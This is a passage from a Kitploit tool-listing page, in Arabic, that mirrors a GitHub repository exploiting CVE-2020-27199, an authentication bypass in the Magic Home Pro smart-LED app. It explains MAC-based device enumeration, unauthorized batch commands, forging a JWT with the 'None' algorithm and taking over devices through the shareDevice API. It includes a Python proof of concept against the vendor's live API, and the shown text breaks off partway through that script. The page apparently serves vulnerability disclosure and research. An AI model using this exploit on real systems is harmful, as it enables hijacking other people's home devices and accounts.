Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2020-27199 — CVE-2020-27199 | Kitploit
أدوات/GitHubGitHub/9lyph/cve-2020-27199
الاستطلاعأمان إنترنت الأشياءالاستغلالاستغلال تطبيقات الويبجمع المعلوماتاختبار الاختراقأمن الجوالالمصادقةتطوير الحمولات
GitHub9lyph/cve-2020-27199

CVE-2020-27199

CVE-2020-27199

711منذ سنة واحدةلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع

CVE-2020-27199 (Magic Home Pro - Authentication Bypass)

magic-home-pro

تم العثور على عدة ثغرات أمنية في تطبيق Magic Home Pro للهواتف المحمولة المستخدم للتواصل مع مجموعة إضاءة LED الشريطية JadeHomic. أكثر هذه الثغرات أهمية هي ثغرة تجاوز المصادقة (CVE-2020-27199)، والتي تتيح في النهاية السيطرة الكاملة على مجموعة أجهزة الضحية بأكملها.

  • فيما يلي تفاصيل خطوات الاستكشاف التي أدت إلى الاستغلال النهائي ومواد إثبات المفهوم المستخدمة لتنفيذ الاستكشاف والاستغلال النهائي.

ملفات إثبات المفهوم

magichome-forge.py - أداة تزوير JWT، تستخدم لأتمتة السيطرة على الجهاز

magichome-sniffer.py - مستنشط شبكة محلية يبحث في الشبكة عن الأجهزة المعرضة للخطر. يقوم ببناء قائمة بالأجهزة التي يمكن شن هجمات عليها

magichome-switch.py - يسمح بتشغيل الأجهزة

magichome-takeover.py - حمولة تسمح بالسيطرة الناجحة على حساب المستخدم

العمل التمهيدي للاكتشاف

  • جهاز Android بصلاحية الروت
  • تجاوز كشف الروت من خلال التصحيح، وإعادة توقيع JAR وإعادة بناء APK (مطلوب)
  • تجاوز تثبيت الشهادة (باستخدام Frida للإنقاذ) (مطلوب)

التطبيق

Magic Home Pro

بائع المنتج

JadeHomic

مالك منتج وحدة التحكم WiFi

Suzhou SmartChip Semiconductor Co.,Ltd

موقع البائع

JadeHomic

المراجع

Mitre

Exploit-db

مدونة SpiderLabs

قاعدة كود المنتج المتأثر

Magic Home Pro

الوصف

عنوان URL الأساسي: wifij01us.magichue.net

الاستكشاف

تسمح هذه الثغرة لأي مستخدم مصادق عليه باستخدام مستوى التصريح الحالي الخاص به للاستفسار عن نقاط نهاية ليست جزءًا من منتجاته المسجلة، باستخدام استدعاء API إلى /app/getBindedUserListByMacAddress/ZG001?macAddress=<عنوان ماك>. ينتج عن ذلك استجابة HTTP تشير إلى وجود نقطة النهاية وتعيد اسم المستخدم ومعرف المستخدم الفريد (userUniID) والمعرف الفريد المرتبط (bindedUniID) لنقطة النهاية المرتبطة.

باستخدام الاستفسار أعلاه، يمكن للمهاجم بعد ذلك استخدام طلب POST غير مصرح به إلى API /app/sendCommandBatch/ZG001، باستخدام عنوان الماك الذي تم اكتشافه حديثًا لإرسال الأوامر إلى نقطة النهاية البعيدة باستخدام أوامر hex المتوافقة 71230fa3 و 71240fa4 مما يؤدي إلى التشغيل والإيقاف على التوالي.

تزوير JWT بناءً على التفاصيل التي تم جمعها أعلاه

بعد اكتمال الاستكشاف الأولي، يمكن أيضًا تزوير JWT باستخدام userID و uniID في بيانات حمولة JWT، مما يؤدي عمليًا إلى خفض مستوى الرمز المميز لاستخدام 'None' كخوارزمية في قسم رأس JWT (ثغرة تجاوز التوقيع). باستخدام هذه الثغرة، يصبح التطبيق عرضة للسيطرة على الجهاز من قبل المهاجم من خلال استدعاء API البعيد إلى /app/shareDevice/ZG001 واستخدام معامل JSON friendUserID لإضافة الجهاز إلى قائمة أجهزة المهاجم، مما يمنح المهاجم السيطرة الكاملة على الجهاز الهدف.

الإسناد:

  • Medium
  • JWT_TOOL - ticarpi

نوع الثغرة

  • تجاوز المصادقة
  • الكشف عن المعلومات
  • الوصول غير المصرح به
  • تصعيد الصلاحيات الأفقي

معلومات إضافية

OUI

يصف OUI المعرف الفريد للمنظمة لعناوين MAC المسجلة لمنظمة ما. في حالة JadeHomic، OUI السحري هو C8:2E:47، حيث تتوافق البايتات الثلاث الأولى مع الشركة المصنعة والبايتات الثلاث الثانية تتوافق مع الرقم التسلسلي المعين من قبل الشركة المصنعة. في حالتنا، المعرف الخاص بالشركة المصنعة مسجل باسم Suzhou SmartChip Semiconductor Co., LTD.

تأثير CVE الآخر

يسمح بتجاوز المصادقة على تطبيق Magic Home Pro للهواتف المحمولة وبالتالي السيطرة الكاملة على مجموعة أجهزة المستخدم الضحية بالكامل.

نواقل الهجوم

  • مطلوب مستخدم مصادق عليه
  • استكشاف ناجح للنظام النهائي الموجود
  • إرسال لاحق لأوامر الدُفعات إلى نقطة نهاية بعيدة
  • السيطرة على الجهاز
  • تجاوز المصادقة

أداة الاستكشاف واستغلال الأوامر الدفعية (PoC)

يقوم إثبات المفهوم بالاستكشاف على آخر بايتات ضمن نطاق MAC ويعيد النتائج. يسمح باختبار 'التنفيذ عن بُعد' إذا كنت تشعر بالجرأة.``` import requests import json import os from colorama import init from colorama import Fore, Back, Style import re

'''

  1. First Stage Authentication
  2. Second Stage Enumerate
  3. Third Stage Remote Execute '''

global found_macaddresses found_macaddresses = [] global outtahere outtahere = "" q = "q" global token

def turnOn(target, token):

urlOn = "https://wifij01us.magichue.net/app/sendCommandBatch/ZG001"
array = {
    "dataCommandItems":[
        {"hexData":"71230fa3","macAddress":target}
    ]
}
data = json.dumps(array)
headersOn = {
    "User-Agent":"Magic Home/1.5.1(ANDROID,9,en-US)",
    "Accept-Language": "en-US",
    "Accept": "application/json", 
    "Content-Type": "application/json; charset=utf-8",
    "token":token,
    "Host": "wifij01us.magichue.net",
    "Connection": "close",
    "Accept-Encoding": "gzip, deflate"
}
print (Fore.WHITE + "[+] Sending Payload ...")
response = requests.post(urlOn, data=data, headers=headersOn)
if response.status_code == 200:
    if "true" in response.text:
        print (Fore.GREEN + "[*] Endpoint " + Style.RESET_ALL + f"{target}" + Fore.GREEN + " Switched On")
    else:
        print (Fore.RED + "[-] Failed to switch on Endpoint " + Style.RESET_ALL + f"{target}")

def turnOff(target, token):

urlOff = "https://wifij01us.magichue.net/app/sendCommandBatch/ZG001"
array = {
    "dataCommandItems":[
        {"hexData":"71240fa4","macAddress":target}
    ]
}
data = json.dumps(array)
headersOff = {
    "User-Agent":"Magic Home/1.5.1(ANDROID,9,en-US)",
    "Accept-Language": "en-US",
    "Accept": "application/json", 
    "Content-Type": "application/json; charset=utf-8",
    "token":token,
    "Host": "wifij01us.magichue.net",
    "Connection": "close",
    "Accept-Encoding": "gzip, deflate"
}
print (Fore.WHITE + "[+] Sending Payload ...")
response = requests.post(urlOff, data=data, headers=headersOff)
if response.status_code == 200:
    if "true" in response.text:
        print (Fore.GREEN + "[*] Endpoint " + Style.RESET_ALL + f"{target}" + Fore.GREEN + " Switched Off")
    else:
        print (Fore.RED + "[-] Failed to switch on Endpoint " + Style.RESET_ALL + f"{target}")

def lighItUp(target, token):

outtahere = ""
q = "q"
if len(str(target)) < 12:
    print (Fore.RED + "[!] Invalid target" + Style.RESET_ALL)
elif re.match('[0-9a-f]{2}[0-9a-f]{2}[0-9a-f]{2}[0-9a-f]{2}[0-9a-f]{2}[0-9a-f]{2}$', target.lower()):
    while outtahere.lower() != q.lower():
        if outtahere == "0":
            turnOn(target, token)
        elif outtahere == "1":
            turnOff(target, token)
        outtahere = input(Fore.BLUE + "ON/OFF/QUIT ? (0/1/Q): " + Style.RESET_ALL)

def Main(): urlAuth = "https://wifij01us.magichue.net/app/login/ZG001"

data = {
    "userID":"<Valid Registered Email/Username>",
    "password":"<Valid Registered Password>",
    "clientID":""
}
تنزيل الأداة